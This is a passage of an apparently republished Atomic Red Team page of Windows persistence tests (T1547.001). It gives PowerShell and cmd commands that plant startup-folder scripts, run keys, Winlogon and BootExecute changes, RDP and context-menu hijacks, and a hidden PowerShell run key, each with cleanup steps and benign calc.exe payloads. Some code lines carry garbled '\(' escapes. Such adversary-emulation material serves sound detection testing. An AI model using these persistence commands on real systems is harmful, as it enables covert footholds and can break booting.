Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" -ErrorAction Ignore
</code></pre>
<h2><strong>Atomic Test #6 - Suspicious bat file run from startup Folder</strong></h2>
<p>bat files can be placed in and executed from the startup folder to maintain persistance</p>
<p>Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 5b6768e4-44d2-44f0-89da-a01d1430fd5e</p>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">Copy-Item "\(PathToAtomicsFolder\T1547.001\src\batstartup.bat" "\)env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" -ErrorAction Ignore
</code></pre>
<h2><strong>Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder</strong></h2>
<p>Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 24e55612-85f6-4bd6-ae74-a73d02e3441d</p>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">$Target = "C:\Windows\System32\calc.exe"
\(ShortcutLocation = "\)home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk"
$WScriptShell = New-Object -ComObject WScript.Shell
\(Create = \)WScriptShell.CreateShortcut($ShortcutLocation)
\(Create.TargetPath = \)Target
$Create.Save()
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore
</code></pre>
<h2><strong>Atomic Test #8 - Add persistance via Recycle bin</strong></h2>
<p>Add a persistance via Recycle bin <a href="https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf">vxunderground</a> User have to clic on the recycle bin to lauch the payload (here calc)</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> bda6a3d6-7aa7-4e89-908b-306772e9662f</p>
<h4><strong>Attack Commands: Run with</strong> <code>command_prompt</code>!</h4>
<pre><code class="language-plaintext">reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command" /ve /d "calc.exe" /f
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" /f
</code></pre>
<h2><strong>Atomic Test #9 - SystemBC Malware-as-a-Service Registry</strong></h2>
<p>This Atomic will create a registry key called socks5_powershell for persistance access <a href="https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c">https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c</a></p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 9dc7767b-30c1-4cc4-b999-50cab5e27891</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>reg_key_value</td>
<td>Thing to Run</td>
<td>path</td>
<td>powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File</td>
</tr>
<tr>
<td>reg_key_path</td>
<td>Path to registry key to update</td>
<td>path</td>
<td>HKCU:\Software\Microsoft\Windows\CurrentVersion\Run</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>!</h4>
<pre><code class="language-plaintext">$RunKey = "#{reg_key_path}"
Set-ItemProperty -Path $RunKey -Name "socks5_powershell" -Value "#{reg_key_value}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-ItemProperty -Path #{reg_key_path} -Name "socks5_powershell" -Force -ErrorAction Ignore
</code></pre>
<h2><strong>Atomic Test #10 - Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value</strong></h2>
<p>This test will modify the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -V "Common Startup" value to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> acfef903-7662-447e-a391-9c91c2f00f7b</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>new_startup_folder</td>
<td>new startup folder to replace standard one</td>
<td>string</td>
<td>$env:TMP\atomictest\</td>
</tr>
<tr>
<td>payload</td>
<td>executable to be placed in new startup location</td>
<td>string</td>
<td>C:\Windows\System32\calc.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">New-Item -ItemType Directory -path "#{new_startup_folder}"
Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "#{new_startup_folder}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
Remove-Item "#{new_startup_folder}" -Recurse -Force
</code></pre>
<h2><strong>Atomic Test #11 - Change Startup Folder - HKCU Modify User Shell Folders Startup Value</strong></h2>
<p>This test will modify the HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -V "Startup" value to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 8834b65a-f808-4ece-ad7e-2acdf647aafa</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>new_startup_folder</td>
<td>new startup folder to replace standard one</td>
<td>string</td>
<td>$env:TMP\atomictest\</td>
</tr>
<tr>
<td>payload</td>
<td>executable to be placed in new startup location</td>
<td>string</td>
<td>C:\Windows\System32\calc.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>!</h4>
<pre><code class="language-plaintext">New-Item -ItemType Directory -path "#{new_startup_folder}"
Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "#{new_startup_folder}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
Remove-Item "#{new_startup_folder}" -Recurse -Force
</code></pre>
<h2><strong>Atomic Test #12 - HKCU - Policy Settings Explorer Run Key</strong></h2>
<p>This test will create a new value under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run to launch calc.exe on boot. *Requires reboot</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> a70faea1-e206-4f6f-8d9a-67379be8f6f1</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>target_key_value_name</td>
<td>registry value to crate on target key</td>
<td>string</td>
<td>atomictest</td>
</tr>
<tr>
<td>payload</td>
<td>payload to execute</td>
<td>string</td>
<td>C:\Windows\System32\calc.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")){
  New-Item -ItemType Key -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
}
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
  New-Item -ItemType Key -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}"
</code></pre>
<h2><strong>Atomic Test #13 - HKLM - Policy Settings Explorer Run Key</strong></h2>
<p>This test will create a HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run key value to launch calc.exe on boot. *Requires reboot</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>target_key_value_name</td>
<td>registry value to crate on target key</td>
<td>string</td>
<td>atomictest</td>
</tr>
<tr>
<td>payload</td>
<td>payload to execute</td>
<td>string</td>
<td>C:\Windows\System32\calc.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">if (!(Test-Path -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
  New-Item -ItemType Key -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}"
</code></pre>
<h2><strong>Atomic Test #14 - HKLM - Append Command to Winlogon Userinit KEY Value</strong></h2>
<p>This test will append a command to the HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit value to launch calc.exe on boot.</p>
<ul>
<li>Requires reboot</li>
</ul>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> f7fab6cc-8ece-4ca7-a0f1-30a22fccd374</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>payload</td>
<td>what to run</td>
<td>string</td>
<td>C:\Windows\System32\calc.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">\(oldvalue = \)(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit");
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit-backup" -Value "$oldvalue";
\(newvalue = \)oldvalue + " #{payload}";
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$newvalue"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">\(oldvalue = \)(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup');
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$oldvalue";
Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup'
</code></pre>
<h2><strong>Atomic Test #15 - HKLM - Modify default System Shell - Winlogon Shell KEY Value</strong></h2>
<p>This test change the default value of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell from "explorer.exe" to the full path of "C:\Windows\explorer.exe" to log a change to the key's default value without breaking boot sequence. An atacker will alternatively replace this with a custom shell.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 1d958c61-09c6-4d9e-b26b-4130314e520e</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>payload</td>
<td>what to run</td>
<td>string</td>
<td>C:\Windows\explorer.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">\(oldvalue = \)(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell");
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell-backup" -Value "$oldvalue";
\(newvalue = \)oldvalue + ", #{payload}";
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$newvalue"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">\(oldvalue = \)(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup');
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$oldvalue";
Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup'
</code></pre>
<h2><strong>Atomic Test #16 - secedit used to create a Run key in the HKLM Hive</strong></h2>
<p>secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive. <a href="https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d">Reference</a></p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 14fdc3f1-6fc3-4556-8d36-aa89d9d42d02</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>ini_file</td>
<td>INI config template</td>
<td>string</td>
<td>$PathToAtomicsFolder\T1547.001\src\regtemplate.ini</td>
</tr>
<tr>
<td>secedit_db</td>
<td>Custom secedit db</td>
<td>string</td>
<td>mytemplate.db</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>command_prompt</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">secedit /import /db #{secedit_db} /cfg "#{ini_file}"
secedit /configure /db #{secedit_db}
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "calc" /f &gt;nul 2&gt;&amp;1
</code></pre>
<h2><strong>Atomic Test #17 - Modify BootExecute Value</strong></h2>
<p>This test modifies the BootExecute registry value to "autocheck autoche *", which can be used to simulate an adversary's attempt to tamper with the system's boot process. Reference - <a href="https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf">https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf</a> NOTE that by not saving the correct value, you may inhibit your system from booting properly. Only run on a test system. There is a reg export before running the Atomic.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> befc2b40-d487-4a5a-8813-c11085fb5672</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>registry_value</td>
<td>Registry value to set</td>
<td>string</td>
<td>autocheck autoche *</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">if (!(Test-Path "\(PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg")) { reg.exe export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "\)PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" /y }
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "BootExecute" -Value "#{registry_value}" -Type MultiString
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">reg.exe import "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg"
Remove-Item -Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" -Force
</code></pre>
<h2><strong>Atomic Test #18 - Allowing custom application to execute during new RDP logon session</strong></h2>
<p>When a users logs in to a computer via RDP,Windows will search for the key in HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd registry By default, rdpclip is the value stored. An attacker with administrator privileges can alter the value stored to allow for the custom application to execute during RDP login session.The test will allow running cal rather rdpclip when a user logs in via RDP</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> b051b3c0-66e7-4a81-916d-e6383bd3a669</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>malicious_app</td>
<td>Application to be executed during successful RDP session</td>
<td>string</td>
<td>calc</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>command_prompt</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd" /f /v StartupPrograms /t REG_SZ /d "#{malicious_app}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd" /f /v StartupPrograms /t REG_SZ /d "rdpclip"
</code></pre>
<h2><strong>Atomic Test #19 - Creating Boot Verification Program Key for application execution during successful boot</strong></h2>
<p>Microsoft allows users to define a custom boot verification program for those situations by creating the registry key “HKLM\System\CurrentControlSet\Control\BootVerificationProgram” and setting the value of ImagePath to the path of boot verification program.Threat Actor can abuse by creating this registry key and providing a malicious application to be executed during successful boot</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 6e1666d5-3f2b-4b9a-80aa-f011322380d4</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>malicious_file</td>
<td>Application to be executed during successful boot</td>
<td>string</td>
<td>C:\Program Files\Internet Explorer\iexplore.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>command_prompt</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">reg add HKLM\System\CurrentControlSet\Control\BootVerificationProgram /v ImagePath /t REG_SZ /d "#{malicious_file}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">reg delete HKLM\System\CurrentControlSet\Control\BootVerificationProgram /f
</code></pre>
<h2><strong>Atomic Test #20 - Add persistence via Windows Context Menu</strong></h2>
<p>This atomic test add persistence taking advantage of the Windows Context Menu <a href="https://www.hexacorn.com/blog/2018/07/29/beyond-good-ol-run-key-part-82/">Hexacorn</a> User have to right click on the main screen or in the white space of the opened folder (e.g. Size Modify).</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> de47f4a0-2acb-416d-9a6b-cee584a4c4d1</p>
<h4><strong>Attack Commands: Run with</strong> <code>command_prompt</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Size Modify\command" /ve /t REG_SZ /d "C:\Windows\System32\calc.exe" /f
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">reg delete "HKEY_CLASSES_ROOT\Directory\Background\shell\Size Modify" /f
</code></pre>
<p>Ref: <a href="https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.001/T1547.001.md">https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.001/T1547.001.md</a></p>
]]></content:encoded></item></channel></rss>